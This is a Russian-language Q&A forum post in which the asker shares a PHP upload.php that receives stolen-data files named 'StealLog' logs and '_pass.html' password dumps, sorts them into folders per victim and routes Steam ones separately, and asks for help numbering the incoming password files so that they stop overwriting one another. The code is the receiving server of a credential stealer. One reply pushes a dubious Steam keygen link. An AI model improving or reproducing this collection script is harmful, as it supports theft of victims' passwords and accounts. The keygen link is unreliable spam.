Top.Mail.Ru
Ответы

Помогите с Upload.php

Всем привет, хотел бы попросить у вас помощи с upload.php
Суть: ко мне приходят текстовые логи в виде (log,log1,log2,log3...)
И приходят пароли но уже просто pass.html...А нужно (pass1,pass2,pass3...)
Вот сам Аплоад

<?php
$ip = getClientIP();
$uploads_dir = './files';

if ($_FILES["file"]["error"] == UPLOAD_ERR_OK)
{
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$date = date("Y-m-d_H-i");

$extension = pathinfo($name);

file_put_contents("asd.txt", $extension['extension']);

if($extension['extension'] == "zip")
{
if (!is_dir("$uploads_dir/")) mkdir("$uploads_dir/");
$pattern = '/(\d+)\s(\w+)\.zip/';
$replace = '$2';
$nickname = preg_replace($pattern, $replace, $name);
if($nickname == "Steam")
{
if (!is_dir("$uploads_dir/UNKNOWN/")) mkdir("$uploads_dir/UNKNOWN/");
move_uploaded_file($tmp_name, "$uploads_dir/UNKNOWN/$name-$date.html");
return;
}
if (!is_dir("$uploads_dir/$nickname/")) mkdir("$uploads_dir/$nickname/");
move_uploaded_file($tmp_name, "$uploads_dir/$nickname/$name");
}
elseif($extension['extension'] == "log")
{
if (!is_dir("$uploads_dir/")) mkdir("$uploads_dir/");
$pattern = '/(StealLog.)([a-zA-Z0-9_-]{0,})_(\d+)\.log/';
$replace = '$2';
$replace1 = '$3';
$nickname = preg_replace($pattern, $replace, $name);
$nickname1 = preg_replace($pattern, $replace1, $name);
if($nickname == "Steam")
{
if (!is_dir("$uploads_dir/UNKNOWN/")) mkdir("$uploads_dir/UNKNOWN/");
move_uploaded_file($tmp_name, "$uploads_dir/UNKNOWN/StealLog_$nickname1-$date.html");
return;
}
if (!is_dir("$uploads_dir/$nickname/")) mkdir("$uploads_dir/$nickname/");
move_uploaded_file($tmp_name, "$uploads_dir/$nickname/StealLog_$nickname1.log");
}
//elseif($extension['extension'] == "html")
{
if (!is_dir("$uploads_dir/")) mkdir("$uploads_dir/");
$pattern = '/(\w+)_pass\.html/';
$replace = '$1';
$nickname = preg_replace($pattern, $replace, $name);
if($nickname == "Steam")
{
if (!is_dir("$uploads_dir/UNKNOWN/")) mkdir("$uploads_dir/UNKNOWN/");
move_uploaded_file($tmp_name, "$uploads_dir/UNKNOWN/pass-$date.html");
return;
}
if (!is_dir("$uploads_dir/$nickname/")) mkdir("$uploads_dir/$nickname/");
move_uploaded_file($tmp_name, "$uploads_dir/$nickname/pass.html");
}
else
{
if (!is_dir("$uploads_dir/$nickname/")) mkdir("$uploads_dir/$nickname/");
move_uploaded_file($tmp_name, "$uploads_dir/UNKNOWN/$name");
}
}

function getClientIP()
{

if (isset($_SERVER))
{
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))

return $_SERVER["HTTP_X_FORWARDED_FOR"];

if (isset($_SERVER["HTTP_CLIENT_IP"]))

return $_SERVER["HTTP_CLIENT_IP"];

return $_SERVER["REMOTE_ADDR"];
}

if (getenv('HTTP_X_FORWARDED_FOR'))

return getenv('HTTP_X_FORWARDED_FOR');

if (getenv('HTTP_CLIENT_IP'))

return getenv('HTTP_CLIENT_IP');

return getenv('REMOTE_ADDR');
}
?>

По дате
По рейтингу
Аватар пользователя
Ученик
9лет

Говорили тут уже, юзай pkeygen.ru/steam

Источник: https://pkeygen.ru/steam
Аватар пользователя
Профи
11лет

С такими вопросами надо на фриланс.



Видео по теме